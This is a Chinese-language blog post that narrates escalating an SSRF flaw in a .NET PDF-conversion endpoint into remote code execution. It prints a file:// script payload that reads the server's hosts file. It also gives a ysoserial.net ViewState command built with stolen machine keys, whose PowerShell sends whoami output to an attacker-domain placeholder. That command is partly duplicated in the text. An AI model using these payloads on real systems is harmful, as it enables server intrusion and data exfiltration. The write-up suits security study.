SSRF 如何在 .NET 应用程序中导致 RCE

C-haidragon

已于 2025-03-27 12:12:22 修改

阅读量249

点赞数 5

分类专栏：网络安全情报文章标签： .net rce

于 2025-03-27 12:11:39 首次发布

本文链接：https://blog.youkuaiyun.com/sinat_35360663/article/details/146554301

版权

网络安全情报专栏收录该内容

15 篇文章

订阅专栏

在 Web 应用程序安全领域，服务器端请求伪造 (SSRF) 漏洞有时会打开潘多拉魔盒，在适当条件下导致远程代码执行 (RCE)。这是我如何探索 SSRF 漏洞并将其升级为 .NET Web 应用程序中的 RCE 的故事。

意外的发现

一切都始于一个看似无害的端点—— ConvertToPDF.aspx。这个端点的目的很简单：它允许将系统报告转换为 PDF 格式。我以为这只是一个常规功能，也许用于导出报告。但随着我开始深入挖掘，该应用程序揭示了比它本意更多的内容。

在这个应用程序中，用户将提供一个 URL 来获取数据（类似于http://example.com/userinfo），然后此 URL 将被发送到后端 DLL 进行处理以生成 PDF 文件。通常，我不会想太多，但如果应用程序没有正确验证 URL 输入怎么办？如果我可以将此 URL 更改为意想不到的内容怎么办？

初始漏洞：SSRF 实际操作

好奇心占了上风。如果我将 URL 替换为会怎么样http://evil.com？令我惊讶的是，系统使用 evil.com 的内容生成了 PDF — — 这完全出乎意料。该应用程序没有验证或清理输入的 URL，这为进一步探索打开了大门。

不过，这不仅仅是获取任意内容。我开始思考如何进一步利用这一点。我的第一个尝试是一个简单的 JavaScript 有效负载来读取文件，但它没有按预期工作。经过进一步调查，我发现该应用程序将 URL 数据保存为.html文件，然后用于生成 PDF。当我使用时，发现了这种行为document.write = document.domain，它显示了页面源代码中的路径file://somepath/data.html。这个线索暗示应用程序在将数据转换为 PDF 之前在内部以某种格式存储数据.html。

关键的发现是，该应用程序正在使用浏览器导航到file://URL 的功能。当操纵 URL 以使用该file://方案时，浏览器会尝试直接从服务器的文件系统获取本地文件。这背后的原因很简单：浏览器旨在将file://URL 解释为访问本地文件而不是远程 Web 资源的请求，从而绕过了 Web 请求的常规安全检查。

这是我使用的有效载荷：

<html><script> window.location='file:///C:/Windows/System32/drivers/etc/hosts'</script></html>

轰！文件内容hosts以 PDF 格式返回。这证实了可以利用 SSRF 漏洞读取本地文件。发生这种情况的原因是应用程序没有过滤或清理用户提供的 URL，因此容易受到文件读取攻击。

然而，这只是旅程的开始。一旦我可以访问服务器上的文件，它就会打开更严重的漏洞利用的大门——远程代码执行 (RCE)，但这是这次发现的另一个篇章。

更深层次的思考：如何升级至 RCE？

此时，读取文件很有趣，但这不是最终目标。真正的挑战是将此漏洞升级为远程代码执行 (RCE)。由于该应用程序是使用 .NET 构建的，因此我考虑了 .NET 应用程序中的常见攻击媒介 — 其中最强大的攻击媒介之一是不安全的反序列化。

这个想法很简单：如果应用程序在未进行适当验证的情况下反序列化用户控制的数据，则可能允许任意代码执行。但是，要利用这一点，我需要用于ViewState 的加密和验证密钥。

什么是 ViewState 以及它为何重要？

ViewState是ASP.NET Web 表单中的一种机制，用于在回发期间（即当用户提交表单，页面重新加载时）维护网页的状态。它是 HTML 表单中的一个隐藏字段( __VIEWSTATE)，用于存储有关页面控件及其状态的编码数据。

由于 ViewState 包含敏感数据，ASP.NET使用文件中存储的验证和解密密钥对其进行签名和加密。这些密钥可防止攻击者修改 ViewState 并注入恶意数据。web.config

然而，如果攻击者可以检索这些密钥，他们就可以生成并签署自己的恶意 ViewState，应用程序将信任并反序列化该 ViewState 。这就是不安全的反序列化成为攻击媒介的地方——允许在服务器上执行任意命令。

现在，下一步很清楚：我需要找到隐藏在应用程序配置中的加密密钥。

查找 Web.config 文件

在继续攻击之前，我需要访问应用程序使用的加密密钥。这些密钥通常存储在web.config文件中，这是 .NET 应用程序中的关键配置文件，其中包含敏感信息，例如连接字符串、机器密钥和加密参数。

但是，web.config 文件不在默认位置。该应用程序的不同组件分布在多个目录中，因此很难找到它。为了找到它，我强行破解了不同的路径，最终找到了它的位置。一旦我获得了该文件的访问权限，我就提取了验证和解密密钥，这是生成有效 ViewState 有效负载所必需的。

利用不安全的反序列化：RCE

拿到所需的密钥后，我便准备升级攻击。如果可能进行不安全的反序列化， ASP.NET ViewState 可能是一个危险的攻击面。默认情况下，ViewState 经过加密和签名以防止篡改，但如果攻击者能够获得加密密钥，他们就可以生成在服务器上执行命令的恶意 ViewState 负载。

为什么`ysoserial.net`有效？

ysoserial.net是一种生成序列化有效载荷的工具，用于利用 .NET 应用程序中不安全的反序列化。它会创建一个包含任意命令的序列化对象，这些命令会在应用程序反序列化操纵的 ViewState 数据时执行。

通过利用ysoserial.net，我制作了一个 ViewState 有效负载，该有效负载执行 PowerShell 命令来窃取服务器信息。这是我使用的命令：

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe -Command \"$w=(whoami); Invoke-WebRequest -Uri http://<attackerdomain>/aaaa?data=$w -UseBasicParsing\"" --path="<path>.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="<decrypt-key>" --validationalg="SHA1" --validationkey="<key>""powershell.exe -Command \"$w=(whoami); Invoke-WebRequest -Uri http://<attackerdomain>/aaaa?data=$w -UseBasicParsing\"" --path="<path>.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="<decrypt-key>" --validationalg="SHA1" --validationkey="<key>"

-p ViewState：指定我们正在生成 ViewState 有效负载。